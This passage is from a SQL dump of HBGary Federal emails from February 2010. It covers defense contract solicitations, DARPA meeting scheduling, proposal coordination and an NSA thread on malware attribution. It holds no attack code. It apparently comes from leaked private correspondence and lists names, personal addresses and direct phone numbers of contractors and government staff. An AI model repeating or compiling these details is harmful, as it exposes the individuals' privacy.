Location: ONR\r\n\r\n		Solicitation #: 10-004\r\n		Title: Computer Network Defense\r\n		Link: https://www.fbo.gov/spg/DON/ONR/ONR/10-004/listing.html\r\n\r\n		  A change has been posted: Feb 17, 2010 11:29 am\r\n		  Attachments:\r\n		   Amendment 1\r\n\r\n\r\n',1726,'aaron_hbgary_com/1726.html'),(2810,'2010-02-18','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297001287.M366360P3547Q2810.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Russia cyber crime','http://news.hostexploit.com/index.php?option=com_content&view=article&id=3236:move-over-china-here-comes-russia&catid=1:cyber-warfare&Itemid=28/\r\n\r\n\r\n From my iPhone\r\n',15406,'aaron_hbgary_com/15406.html'),(2811,'2010-02-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001287.M551546P3547Q2811.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Ping','Begin forwarded message:From: Kevin L Keathley &lt;cybernigma@gmail.com&gt;\r\nDate: February 16, 2010 7:15:22 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: PingReply-To: cybernigma@gmail.com\r\nHey Ted,  yeah I was on base all of Thursday and Friday then out of town tillyesterday.  I&#39;m going to get an update tomorrow and I&#39;ll pass it on if\r\nDan Willis hasn&#39;t already updated you folks.-=[Kevin]=-On 2/12/2010 5:59 PM, Ted Vera wrote:Hi Kevin,\r\nHow did things come together today?\r\nI&#39;ll be on travel tomorrow, back in the office late next Wed.  I&#39;llhave my cell, laptop and Internet, so if you need anything just let me\r\nknow.Regards,Ted\r\nOn Thu, Feb 11, 2010 at 8:41 PM, Kevin L Keathley &lt;cybernigma@gmail.com&gt; wrote:\r\nHey Ted, I&#39;m sorry it took so long to get back to you.  I&#39;ve been on base all\r\nday and then had to take care of some other things after I left.  I\r\ndidn&#39;t get finished with everything else until just now.  Yeah, you&#39;vebeen really helpful and threw some awesome material our way.  Dan Willis\r\nsaid he got copies as well and I passed the password onto him so he\r\ncould access the protected files.  Our prop folks are working to takeeverything (procedure, experience, goals) and make it a single flowing\r\nstory.\r\n We&#39;ve got another meeting tomorrow to go over additions and revisionsso I&#39;ll have a better idea how everything is flowing together then.  I\r\nthink everyone&#39;s been pretty happy about how the information is coming\r\ntogether so far.  I know I personally appreciate the help and materialyou&#39;ve provided.\r\nThanks,\r\n-=[Kevin]=-\r\nOn 2/11/2010 12:19 PM, Ted Vera wrote:Hi Kevin,\r\n\r\nJust wanted to check in to see if what I sent was useful, and to seeif you need anything else.  I have our engineers putting some more\r\ndetail into the malware RE process this afternoon.  I&#39;ll send an\r\nupdated copy to you later today.\r\nRegards,\r\nTed\r\n\r\n\r\n',15391,'aaron_hbgary_com/15391.html'),(2812,'2010-02-18','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001287.M745023P3547Q2812.eml','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDue to the high volume of attendees and requests for\r\nindividual meetings with Dr. VanPutte, the time allotted for the individual\r\nmeetings has been shortened to 15 minutes per session.&nbsp; This will allow\r\neveryone the opportunity to meet with Dr. VanPutte.&nbsp; Once the schedule is\r\nadjusted, notifications will be sent with the updated meeting times.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3299,'aaron_hbgary_com/3299.html'),(2813,'2010-02-18','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001287.M932573P3547Q2813.eml','aaron@hbgary.com','MILCOM 2010 Call for Papers','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n	    \r\n          \r\n            The 2010 Military Communications Conference (MILCOM 2010), co-sponsored\r\n              by AFCEA and the IEEE Communications Society, is soliciting\r\n              unclassified and classified (up to DoD Secret) technical papers -- as\r\n              well as proposals for tutorials and panels -- relevant to\r\n              communications and information processing systems, technologies, and\r\n              capabilities in the decade beyond 2010. Industry, academic, and\r\n              government organizations from the U.S. and countries worldwide are\r\n              encouraged to participate in addressing the 21st century challenges of\r\n              national defense, homeland security, and disaster response.\r\n              IMPORTANT DATES\r\n               \r\n              Technical Papers\r\n              \r\n                Abstracts Due: March 12, 2010\r\n                Draft Papers Due: April 9, 2010\r\n                Author Notification: June 18, 2010\r\n                Final Papers Due: August 6, 2010\r\n                            \r\n               \r\n                Tutorials and Panels\r\n              \r\n                 Proposals Due: March 12, 2010\r\n                Presenter Notification: April 23, 2010\r\n                Materials Due: August 6, 2010\r\n                            \r\n              For details, please see the full call for papers here or on the MILCOM website. \r\n\r\nSubmit abstracts and manuscripts to the Unclassified Technical Program\r\n              using EDAS.\r\n              Register papers for the Classified Technical Program using EDAS.              \r\n              Best regards,\r\n              Manuel DePonte, Technical Program Chair\r\n                John M. Shea, Unclassified Technical Program Chair\r\n                Mark S. Ptak, Classified Technical Program Chair\r\n                MILCOM 2010\r\n              \r\n              \r\n                \r\n                  Conference Co-Sponsors\r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  Conference Co-Hosts\r\n                  \r\n                  \r\n                \r\n              \r\n              \r\n      \r\n      \r\n      \r\n        This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n        \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org/\r\n      \r\n        \r\n          \r\n        	    \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14899,'aaron_hbgary_com/14899.html'),(2814,'2010-02-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001289.M560434P3547Q2814.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd:','Good signBegin forwarded message:From: &quot;Logel, Moira&quot; &lt;Moira.Logel@macb.com&gt;\r\nDate: February 18, 2010 8:15:51 AM MSTTo: &lt;ted@hbgary.com.&gt;Cc: &quot;Willis, Dan&quot; &lt;Dan.Willis@macb.com&gt;, &quot;Lagrone, Andy&quot; &lt;Andy.Lagrone@macb.com&gt;\r\n\r\n\r\n\r\n\r\nGood morning, Ted.\r\n\r\n \r\n\r\nPlease see the attached RFP for Guardian.  Feel free to\r\ncontact me with any questions you may have.\r\n\r\n \r\n\r\nThank you.\r\n\r\n \r\n\r\n \r\n\r\nMoira Logel\r\n\r\nSr. Contracts Administrator\r\n\r\nMacAulay-Brown, Inc.\r\n\r\nPhone:  (937) 426-3421\r\n\r\nFax:  (937) 426-5364\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1578,'aaron_hbgary_com/1578.html'),(2815,'2010-02-18','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001289.M831830P3547Q2815.eml','aaron@hbgary.com,aaron@hbgary.com','FW: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule Change','Gents see below for Monday\'s meeting.\r\n\r\n-----Original Message-----\r\nFrom: Moore, Renee (contr-sto) [mailto:Renee.Moore.ctr@darpa.mil] \r\nSent: Thursday, February 18, 2010 11:36 AM\r\nTo: \'Rich Cummings\'\r\nCc: DARPA-BAA-10-36\r\nSubject: RE: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule\r\nChange \r\n\r\nMr. Cummings,\r\n\r\nHB Gary is currently scheduled for 1200-1230, but once I adjust the\r\nschedules, your meeting should be earlier.  So you should be able to make\r\nyour other meeting.  I\'ll let you know the new time as soon as the schedule\r\nis adjusted.\r\n\r\nThank you,\r\nRenee\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com] \r\nSent: Thursday, February 18, 2010 11:28 AM\r\nTo: Moore, Renee (contr-sto)\r\nSubject: RE: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule\r\nChange \r\n\r\nHi Renee,\r\n\r\n \r\n\r\nThanks for the update.  My name is Rich Cummings with HBGary and I\'ve got a\r\nquick question about the time slots.  For the Feb 9th proposers day meeting,\r\nwe were slotted to meet with Dr. VanPutte at 12:30 - 1PM I believe. Can I\r\nrequest that time slot on Feb 22nd for the HBGary Team?  Unfortunately I\'ve\r\ngot a meeting down the street that I have to get to at 1:30 PM and it would\r\nbe hard to reschedule that meeting at this time.  \r\n\r\n \r\n\r\nThank you very much for your consideration.\r\n\r\n \r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\n\r\nrich@hbgary.com\r\n\r\n703-999-5012 cell\r\n\r\n301-652-8885 x112 office\r\n\r\n \r\n\r\n \r\n\r\nFrom: Moore, Renee (contr-sto) [mailto:Renee.Moore.ctr@darpa.mil] \r\nSent: Thursday, February 18, 2010 10:38 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Proposers\' Day Individual Meetings with Dr. VanPutte - Schedule\r\nChange \r\n\r\n \r\n\r\nAll,\r\n\r\n \r\n\r\nDue to the high volume of attendees and requests for individual meetings\r\nwith Dr. VanPutte, the time allotted for the individual meetings has been\r\nshortened to 15 minutes per session.  This will allow everyone the\r\nopportunity to meet with Dr. VanPutte.  Once the schedule is adjusted,\r\nnotifications will be sent with the updated meeting times.\r\n\r\n \r\n\r\nThank you,\r\n\r\n \r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n \r\n\r\n',6674,'aaron_hbgary_com/6674.html'),(2816,'2010-02-18','\"WebEx\" <webexnewsletters@webex.com>','/aaron@hbgary.com/new/1297001290.M224109P3547Q2817.eml','aaron@hbgary.com','WebEx Wire Newsletter - February 2010','\r\n\r\n\r\n\r\n \r\n  \r\n \r\nCustomer Newsletter 2010/02\r\n\r\n \r\n\r\n\r\n\r\nThe WebEx Wire: February  2010  (View online).\r\nIn This Issue &minus; Feature: Is FREE the Future of Business?  | Case Study: Extend your reach and increase your revenue with WebEx  | Tips &amp; Tricks: Transfer files inside your meeting\r\n\r\n							\r\n							\r\n						\r\n\r\n	\r\n	  \r\n\r\n  \r\n    \r\n    	\r\n      \r\n        \r\n        \r\n      \r\n        \r\n        \r\n        \r\n        \r\n          \r\n            \r\n            \r\n         \r\n          \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                \r\n                \r\n              \r\n            \r\n            \r\n        \r\n        \r\n      \r\n      \r\n        \r\n        \r\n        \r\n      \r\n        \r\n        \r\n      \r\n        \r\n        \r\n        \r\n    \r\n  \r\n    \r\n    \r\n  \r\n    \r\n	\r\n		\r\n			\r\n	\r\n	\r\n		\r\n			\r\n		The WebEx Insights\r\n          A newsletter for WebEx Customers\r\n		\r\n			\r\n	\r\n	\r\n		&nbsp;\r\n	\r\n	\r\n		\r\n			February 2010\r\n	\r\n	\r\n		&nbsp;\r\n	\r\n\r\n    \r\n    \r\n    	\r\n    \r\n       	 \r\n				  &nbsp;\r\n				  My Resources\r\n				  &nbsp;\r\n				  How Do I?\r\n				  &nbsp;\r\n				  Support\r\n				  &nbsp;\r\n				  WebEx University\r\n				&nbsp;\r\n				Webinars\r\n				&nbsp;\r\n				\r\n                    \r\n    \r\n 	\r\n    	\r\n        	\r\n \r\n                \r\n                \r\n                \r\n	              	\r\n                    \r\n    	            \r\n                      \r\n                       \r\n                 \r\n					\r\n					\r\n                      \r\n                        \r\n                          \r\n                          \r\n                          \r\n                        \r\n                        \r\n                          Welcome to the February issue of WebEx Insights \r\n                          \r\n                        \r\n                          \r\n                          \r\n                        \r\n                          In this issue:\r\n                          \r\n                        \r\n                          \r\n                          \r\n                        \r\n                          \r\n                          \r\n                        \r\n                          \r\n                          \r\n                         \r\n                          \r\n  \r\n    \r\n    \r\n    Feature: Is FREE the Future of Business?\r\n      \r\n  \r\n   \r\n   \r\n  \r\n  \r\n   \r\n  \r\n   \r\n   \r\n  \r\n  \r\n    \r\n\r\n    \r\n    Case Study: Extend your reach and increase your revenue with WebEx.\r\n    \r\n  \r\n  \r\n   \r\n  \r\n  \r\n   \r\n  \r\n   \r\n   \r\n  \r\n  \r\n    \r\n    \r\n    Tips &amp; Tricks: Transfer files inside your meeting.\r\n    \r\n  \r\n \r\n   \r\n   \r\n  \r\n  \r\n   \r\n  \r\n   \r\n   \r\n  \r\n\r\n                          \r\n                        \r\n                       \r\n                         \r\n                          Manage your Account\r\n				  with MyResources\r\n                          \r\n                       \r\n                         \r\n                          Visit MyResources for quick access to billing and payment information, support resources, and helpful tools.\r\n                            \r\n                          \r\n                         \r\n                        \r\n				What do you think?\r\n				\r\n                 \r\n                           \r\n				How do you interact most often within a WebEx Meeting? (check all that apply.)\r\n				\r\n				\r\n				\r\n		\r\n		\r\n		Share presentations and applications\r\n		\r\n        \r\n		\r\n		Collaborate with other attendees on joint documents\r\n		\r\n        \r\n		\r\n		Use the whiteboard to map out ideas\r\n		\r\n        \r\n        	\r\n		Use polling to get feedback from participants\r\n		\r\n        \r\n        \r\n		Use multi-point video to provide a visual presence for attendees\r\n		\r\n       \r\n        \r\n		\r\n \r\n \r\n				Submit\r\n                \r\n                \r\n		 Having trouble submitting your answer? Click here.\r\n                          \r\n                	\r\n                       \r\n                      \r\n                      \r\n				\r\n				\r\n				\r\n				  Feature\r\n				\r\n				\r\n				\r\n				  \r\n				Is FREE the Future of Business? \r\n				Presented by Chris Anderson, Editor-in-Chief, WIRED Magazine and Author, Free: The Future of a Radical Price. \r\n				In the digital marketplace, the most effective price is no price at all. Or is it? Listen to an interactive conversation with Chris Anderson as he discusses how smart businesses are: \r\n        \r\n													\r\n													\r\n														\r\n														Profiting big with indirect sales models such as cross&minus;subsidies and freemiums.\r\n													\r\n													\r\n													\r\n														\r\n														How there is a generational and global shift in play that is creating the increasing demand for free.\r\n													\r\n													\r\n													\r\n										  \r\n				The social, technological, and business landscape is changing. View this webinar and decide if &lsquo;free&rsquo; is truly the future of all things business.\r\n                                   \r\n                                    &nbsp;\r\n				\r\n                 \r\n													  top \r\n                           \r\n                \r\n				&nbsp;\r\n				\r\n				\r\n				  Customer Resources\r\n				\r\n				\r\n				\r\n				  Case Study\r\n				           Extend your reach and increase your revenue\r\n				          See how LUMEDX used WebEx to offer a combination of web seminars and online sales demonstrations to expand their reach and close more business. LUMEDX generates quality leads with engaging prospect web seminars, and then the sales teams close the deal with a dynamic online sales demonstration of their service. See how WebEx helped LUMEDX generated over US$600,000 in opportunity sales.\r\n				          Download the case study.\r\n\r\n				\r\n \r\n													  top \r\n                           \r\n				&nbsp;\r\n				\r\n				\r\n				  Tips & Tricks\r\n				\r\n				\r\n				\r\n				Transfer files &minus; no matter the size – inside your meeting. \r\n				          Avoid the hassle and  security risks involved with sending large presentations. Transfer documents,  photos, even video&mdash;in a secure environment.\r\n				          \r\nTo transfer a file:\r\n \r\n													\r\n													\r\n														1.\r\n														From the File menu, select Transfer.\r\n											\r\n													\r\n													\r\n														2.\r\n														Click on the Share  File button and select the file you want to transfer.\r\n											\r\n													\r\n													\r\n														3.\r\n														Tell attendees to  look for the transfer window on their screen, click on the file, and then  select Download File.\r\n											\r\n										  \r\n				          View this How Do I ? demo to learn more about transferring files!\r\n                Please note: Turn off any pop up blockers before you try to view the demo. \r\n                                \r\n			&nbsp;\r\n				\r\n                 \r\n													  top \r\n                           \r\n				\r\n                      \r\n    	          	\r\n                   	\r\n									\r\n                \r\n                    \r\n     \r\n   \r\n    \r\n    	\r\n        	\r\n							\r\n							\r\n								\r\n									&copy; 2010 Cisco Systems, Inc. and/or its affiliated entities. All rights reserved. Cisco WebEx LLC,3979 Freedom Circle, Santa Clara, CA 95054.\r\n                                  \r\n								    This email was sent to: aaron@hbgary.com.\r\n                                    \r\n								  If you do not wish to receive marketing messages from WebEx, please click here.\r\n					      							  WebEx respects your privacy: http://www.webex.com/webex_privacy.html.				\r\n								\r\n																	\r\n							\r\n							\r\n				    \r\n    \r\n\r\n	\r\n	  &nbsp;\r\n  \r\n\r\n-WEBEX:enUS:\r\n\r\nc062ncUj838HHk8TgFjxt4-\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12690,'aaron_hbgary_com/12690.html'),(2817,'2010-02-18','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001290.M27214P3547Q2816.eml','\"Aaron Barr (HBGary)\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Greg Hoglund (HBGary)\" <greg@hbgary.com>,\"Rich Cummings (HBGary)\" <rich@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>','FW: U.S. Fails Test In Simulated Cyberattack','\r\n\r\n\r\n\r\n\r\nDark Reading Daily -- Thursday, February 18, 2010\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lee, Annabelle\r\n[NIST]\r\nSent: Thursday, February 18, 2010 11:29 AM\r\nTo: Multiple recipients of list\r\nSubject: U.S. Fails Test In Simulated Cyberattack\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTo\r\nall &#8211;\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou haven&#8217;t seen this&#8230;.here are two references.\r\n\r\n&nbsp;\r\n\r\nhttp://www.net-security.org/secworld.php?id=8878\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nU.S. Fails Test In\r\nSimulated Cyberattack\r\n\r\n&nbsp;\r\n\r\nTHANKS&#8230;\r\n\r\n&nbsp;\r\n\r\nAnnabelle\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAnnabelle\r\nLee\r\n\r\nSenior\r\nCyber Security Strategist\r\n\r\n&nbsp;&nbsp;\r\n\r\nComputer\r\nSecurity Division\r\n\r\nNational\r\nInstitute of Standards and Technology\r\n\r\n100\r\nBureau Dr., Stop 8930\r\n\r\nGaithersburg,\r\nMD 20899-8930\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3995,'aaron_hbgary_com/3995.html'),(2818,'2010-02-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001290.M647667P3547Q2818.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','Begin forwarded message:From: Kevin Keathley &lt;cybernigma@gmail.com&gt;\r\nDate: February 18, 2010 10:34:39 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Update\r\nHey Ted,   I just talked to Dan Willis.  They&#39;re finishing up the technicalportion, and I asked him if he needed anything else from you.  He didsay that they still needed a past performance.  You had sent him a\r\nblurb and mentioned to him you had a longer one coming his way but hadto get government approval first before it could be sent.  Is thereany word on that?  Other than that he said everything you&#39;ve sent has\r\nbeen really helpful as well.Thanks,  -=[Kevin]=-\r\n',8360,'aaron_hbgary_com/8360.html'),(2819,'2010-02-18','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001290.M911094P3547Q2819.eml','aaron@hbgary.com','How did it go with GD call yesterday?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7932,'aaron_hbgary_com/7932.html'),(2820,'2010-02-18','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297001291.M102411P3547Q2820.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','What dates/times are good for you?\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:12 PM\r\nTo: Bodman, Jerry M\r\nSubject: Re: Malware Genome and Attribution\r\n\r\nYes we can come up.  When are some good dates?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I am interested.\r\n>\r\n> What is the best way to meet?\r\n>\r\n> Can you come here?\r\n>\r\n> Is this related to Responder Pro?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, February 16, 2010 9:00 AM\r\n> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n> Cc: Gipson, Vergle ; Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Dave/Barry/Matt,\r\n>\r\n> I am very interested to discuss our different efforts/capabilities \r\n> related to malware genomes/catalogs.  Please let me know when \r\n> convenient to get together.\r\n>\r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>\r\n>> Ralph,\r\n>>\r\n>>    Thanks for reminding me about this one.\r\n>>\r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>>\r\n>> Vergle\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley \r\n>> Parkes;\r\n>\r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>>\r\n>> Also, pls see recent news article below:\r\n>>\r\n>> \'Cyber Genome Project\': The military scientists want to establish a \r\n>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>\r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>>\r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2 \r\n>> as to possible interest in engaging him to learn of his efforts \r\n>> (which\r\n>\r\n>> seem to me to be very closely aligned to the Carnegie-Mellon \r\n>> Malicious\r\n>\r\n>> Code Catalog efforts).\r\n>>\r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n\r\n>> holding back on responding til he saw your comments/guidance.\r\n>>\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Ralph,\r\n>>\r\n>> Happy New Year.\r\n>>\r\n>> I am still very interested to talk to folks there about the Malicious\r\n\r\n>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>> interest on that side.  As I mentioned we have recently partnered \r\n>> with\r\n>\r\n>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n\r\n>> or 2 other small vendors with complimentary technology.  I think \r\n>> something really substantial can be put together.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat \r\n>>> briefly at Leesburg.\r\n>>>\r\n>>> I have pushed your info to those within my Agency who are working \r\n>>> with\r\n>>\r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time \r\n>>> next\r\n>\r\n>>> week, no one has reached-out to you, pls email me again and I will \r\n>>> follow up with them.\r\n>>>\r\n>>> Sincerely,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>>\r\n>>> Ralph,\r\n>>>\r\n>>> Thank you for stepping in and asking about my discussion about \r\n>>> Malware\r\n>>\r\n>>> detection, genomes, and attribution.  I am very new to my current \r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n\r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n\r\n>>> if we can make headway against attribution I would have said no, not\r\n\r\n>>> until we have better situational awareness, network \r\n>>> characterization,\r\n>\r\n>>> CND/CNE integration, etc.\r\n>>>\r\n>>> Then I started to learn about HBGarys Malware Genome database, where\r\n\r\n>>> they have characterized 3500 traits of malware to date, and are \r\n>>> starting to make associations of authorship across malware.  I \r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were \r\n>>> seriously going to take a crack at attribution.\r\n>>>\r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>>> would love to talk with them and combine efforts if appropriate to \r\n>>> develop the capability that is needed to help with this challenge.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>>\r\n>\r\n>\r\n>\r\n>\r\n',16025,'aaron_hbgary_com/16025.html'),(2821,'2010-02-18','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001291.M299803P3547Q2821.eml','aaron@hbgary.com','Re: Did u want to catch up here or there?','I am enroute to Cincinnati now. Do you have plans for dinner tonight? I am staying near the airport, but have a car. I land at 4pm today. Talk with you soon.\r\nJohn\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Tue Feb 16 13:47:27 2010\nSubject: Re: Did u want to catch up here or there?\r\n\r\nTomorrow 2pm.  I have thursday meetings with various parts of the Xetron team related to the IRAD and some other pursuits like the Darpa BAA, ONR, etc.  I spoke to NG seniors on Friday to make sure we were going to get the necessary support for the effort and internal bickering wasn\'t going to cause us issues.  Everyone seems supportive.\r\n\r\nAaron\r\n\r\nOn Feb 16, 2010, at 2:44 PM, John Farrell wrote:\r\n\r\n> If you are going to Cinci on Thurs, we could meet out there? When do you fly out?\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Tue Feb 16 11:40:01 2010\r\n> Subject: Did u want to catch up here or there?\r\n> \r\n> I have a pretty open afternoon, 4pm meeting.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16666,'aaron_hbgary_com/16666.html'),(2822,'2010-02-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001291.M513509P3547Q2822.eml','\"Bill Munroe\" <bmunroe@verdasys.com>,\"Bill Munroe\" <bmunroe@verdasys.com>,','Karen burke','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Karen,\r\n\r\n&nbsp;\r\n\r\nBill Munroe is from Verdasys, he is head of marketing and he\r\nwants to discuss joint PR and such.&nbsp; Betsey is his PR person but I 